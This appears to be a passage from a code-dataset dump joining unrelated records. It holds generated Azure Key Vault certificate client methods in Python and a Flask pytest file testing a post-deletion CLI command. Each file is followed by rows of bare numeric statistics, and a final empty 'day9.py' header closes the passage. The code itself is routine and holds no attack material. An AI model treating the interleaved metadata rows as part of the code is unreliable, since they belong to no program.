query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameter, 'CertificateIssuerUpdateParameters') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('IssuerBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate_issuer( self, vault_base_url, issuer_name, custom_headers=None, raw=False, **operation_config): """Lists the specified certificate issuer. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param issuer_name: The name of the issuer. :type issuer_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`IssuerBundle <azure.keyvault.generated.models.IssuerBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/issuers/{issuer-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'issuer-name': self._serialize.url("issuer_name", issuer_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('IssuerBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_certificate_issuer( self, vault_base_url, issuer_name, custom_headers=None, raw=False, **operation_config): """Deletes the specified certificate issuer. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param issuer_name: The name of the issuer. :type issuer_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`IssuerBundle <azure.keyvault.generated.models.IssuerBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/issuers/{issuer-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'issuer-name': self._serialize.url("issuer_name", issuer_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('IssuerBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_certificate( self, vault_base_url, certificate_name, certificate_policy=None, certificate_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Creates a new certificate. If this is the first version, the certificate resource is created. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param certificate_policy: The management policy for the certificate. :type certificate_policy: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :param certificate_attributes: The attributes of the certificate (optional). :type certificate_attributes: :class:`CertificateAttributes <azure.keyvault.generated.models.CertificateAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateOperation <azure.keyvault.generated.models.CertificateOperation>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.CertificateCreateParameters(certificate_policy=certificate_policy, certificate_attributes=certificate_attributes, tags=tags) # Construct URL url = '/certificates/{certificate-name}/create' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str', pattern='^[0-9a-zA-Z-]+$') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'CertificateCreateParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [202]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 202: deserialized = self._deserialize('CertificateOperation', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def import_certificate( self, vault_base_url, certificate_name, base64_encoded_certificate, password=None, certificate_policy=None, certificate_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Imports a certificate into a specified key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param base64_encoded_certificate: Base64 encoded representation of the certificate object to import. This certificate needs to contain the private key. :type base64_encoded_certificate: str :param password: If the private key in base64EncodedCertificate is encrypted, the password used for encryption. :type password: str :param certificate_policy: The management policy for the certificate. :type certificate_policy: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :param certificate_attributes: The attributes of the certificate (optional). :type certificate_attributes: :class:`CertificateAttributes <azure.keyvault.generated.models.CertificateAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateBundle <azure.keyvault.generated.models.CertificateBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.CertificateImportParameters(base64_encoded_certificate=base64_encoded_certificate, password=password, certificate_policy=certificate_policy, certificate_attributes=certificate_attributes, tags=tags) # Construct URL url = '/certificates/{certificate-name}/import' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str', pattern='^[0-9a-zA-Z-]+$') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'CertificateImportParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate_versions( self, vault_base_url, certificate_name, maxresults=None, custom_headers=None, raw=False, **operation_config): """List the versions of a certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateItemPaged <azure.keyvault.generated.models.CertificateItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/certificates/{certificate-name}/versions' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.CertificateItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.CertificateItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_certificate_policy( self, vault_base_url, certificate_name, custom_headers=None, raw=False, **operation_config): """Lists the policy for a certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate in a given key vault. :type certificate_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}/policy' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificatePolicy', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_certificate_policy( self, vault_base_url, certificate_name, certificate_policy, custom_headers=None, raw=False, **operation_config): """Updates the policy for a certificate. Set specified members in the certificate policy. Leave others as null. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate in the given vault. :type certificate_name: str :param certificate_policy: The policy for the certificate. :type certificate_policy: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}/policy' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(certificate_policy, 'CertificatePolicy') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificatePolicy', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_certificate( self, vault_base_url, certificate_name, certificate_version, certificate_policy=None, certificate_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Updates the specified attributes associated with the given certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate in the given key vault. :type certificate_name: str :param certificate_version: The version of the certificate. :type certificate_version: str :param certificate_policy: The management policy for the certificate. :type certificate_policy: :class:`CertificatePolicy <azure.keyvault.generated.models.CertificatePolicy>` :param certificate_attributes: The attributes of the certificate (optional). :type certificate_attributes: :class:`CertificateAttributes <azure.keyvault.generated.models.CertificateAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateBundle <azure.keyvault.generated.models.CertificateBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.CertificateUpdateParameters(certificate_policy=certificate_policy, certificate_attributes=certificate_attributes, tags=tags) # Construct URL url = '/certificates/{certificate-name}/{certificate-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str'), 'certificate-version': self._serialize.url("certificate_version", certificate_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'CertificateUpdateParameters') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate( self, vault_base_url, certificate_name, certificate_version, custom_headers=None, raw=False, **operation_config): """Gets information about a specified certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate in the given vault. :type certificate_name: str :param certificate_version: The version of the certificate. :type certificate_version: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateBundle <azure.keyvault.generated.models.CertificateBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}/{certificate-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str'), 'certificate-version': self._serialize.url("certificate_version", certificate_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_certificate_operation( self, vault_base_url, certificate_name, cancellation_requested, custom_headers=None, raw=False, **operation_config): """Updates a certificate operation. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param cancellation_requested: Indicates if cancellation was requested on the certificate operation. :type cancellation_requested: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateOperation <azure.keyvault.generated.models.CertificateOperation>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ certificate_operation = models.CertificateOperationUpdateParameter(cancellation_requested=cancellation_requested) # Construct URL url = '/certificates/{certificate-name}/pending' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(certificate_operation, 'CertificateOperationUpdateParameter') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateOperation', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_certificate_operation( self, vault_base_url, certificate_name, custom_headers=None, raw=False, **operation_config): """Gets the operation associated with a specified certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateOperation <azure.keyvault.generated.models.CertificateOperation>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}/pending' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateOperation', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_certificate_operation( self, vault_base_url, certificate_name, custom_headers=None, raw=False, **operation_config): """Deletes the operation for a specified certificate. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateOperation <azure.keyvault.generated.models.CertificateOperation>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/certificates/{certificate-name}/pending' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('CertificateOperation', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def merge_certificate( self, vault_base_url, certificate_name, x509_certificates, certificate_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Merges a certificate or a certificate chain with a key pair existing on the server. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param certificate_name: The name of the certificate. :type certificate_name: str :param x509_certificates: The certificate or the certificate chain to merge. :type x509_certificates: list of bytearray :param certificate_attributes: The attributes of the certificate (optional). :type certificate_attributes: :class:`CertificateAttributes <azure.keyvault.generated.models.CertificateAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`CertificateBundle <azure.keyvault.generated.models.CertificateBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.CertificateMergeParameters(x509_certificates=x509_certificates, certificate_attributes=certificate_attributes, tags=tags) # Construct URL url = '/certificates/{certificate-name}/pending/merge' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'certificate-name': self._serialize.url("certificate_name", certificate_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'CertificateMergeParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [201]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 201: deserialized = self._deserialize('CertificateBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized
46.191586
226
0.670641
15,448
142,732
6.00233
0.028288
0.027501
0.027177
0.032613
0.932574
0.927764
0.924895
0.920096
0.915491
0.907942
0
0.00412
0.238111
142,732
3,089
227
46.206539
0.848546
0.336175
0
0.85579
0
0
0.131119
0.052898
0
0
0
0
0
1
0.037145
false
0.001457
0.010197
0
0.115076
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
02f2b5b07ea2dab0a8079a33348242895e9298e9
1,404
py
Python
dataxHWSp2021/HW5_Flask/student/pytests/test_cli_del_post.py
UCBerkeley-SCET/DataX-Berkeley
f912d22c838b511d3ada4ecfa3548afd80437b74
[ "Apache-2.0" ]
28
2020-06-15T23:53:36.000Z
2022-03-19T09:27:02.000Z
dataxHWSp2021/HW5_Flask/student/pytests/test_cli_del_post.py
UCBerkeley-SCET/DataX-Berkeley
f912d22c838b511d3ada4ecfa3548afd80437b74
[ "Apache-2.0" ]
4
2020-06-24T22:20:31.000Z
2022-02-28T01:37:36.000Z
dataxHWSp2021/HW5_Flask/student/pytests/test_cli_del_post.py
UCBerkeley-SCET/DataX-Berkeley
f912d22c838b511d3ada4ecfa3548afd80437b74
[ "Apache-2.0" ]
78
2020-06-19T09:41:01.000Z
2022-02-05T00:13:29.000Z
from flaskr.db import get_db import os with open(os.path.join(os.path.dirname(__file__), 'data-test-cli.sql'), 'rb') as f: _data_sql = f.read().decode('utf8') def test_del_post_command_1(runner, app): with app.app_context(): get_db().executescript(_data_sql) runner.invoke(args=['del-post', '1'], input='y') db = get_db() post = db.execute('SELECT * FROM post WHERE id = 1').fetchone() assert post is None reply = db.execute('SELECT * FROM reply WHERE post_id = 1').fetchone() assert reply is None post = db.execute('SELECT * FROM post WHERE id = 2').fetchall() assert post is not None reply = db.execute('SELECT * FROM reply WHERE post_id = 2').fetchall() assert len(reply) == 2 def test_del_post_command_2(runner, app): with app.app_context(): get_db().executescript(_data_sql) runner.invoke(args=['del-post', '2'], input='y') db = get_db() post = db.execute('SELECT * FROM post WHERE id = 2').fetchone() assert post is None reply = db.execute('SELECT * FROM reply WHERE post_id = 2').fetchone() assert reply is None post = db.execute('SELECT * FROM post WHERE id = 1').fetchall() assert post is not None reply = db.execute('SELECT * FROM reply WHERE post_id = 1').fetchall() assert len(reply) == 2
37.945946
78
0.611111
204
1,404
4.063725
0.235294
0.086852
0.144753
0.183353
0.866104
0.759952
0.759952
0.759952
0.759952
0.755127
0
0.014313
0.253561
1,404
36
79
39
0.776718
0
0
0.451613
0
0
0.224359
0
0
0
0
0
0.258065
1
0.064516
false
0
0.064516
0
0.129032
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f320067162458caf484cd6d26123c7f5ede3bc1a
21,898
py
Python
day9/day9.py
BroderickCarlin/AdventOfCode
52d12d16f3d291a51984e6d85dbe97e604abc005
[ "MIT" ]
null
null
null
day9/day9.py
BroderickCarlin/AdventOfCode
52d12d16f3d291a51984e6d85dbe97e604abc005
[ "MIT" ]
null
null
null
day9/day9.py
BroderickCarlin/AdventOfCode
52d12d16f3d291a51984e6d85dbe97e604abc005
[ "MIT" ]
null
null
null
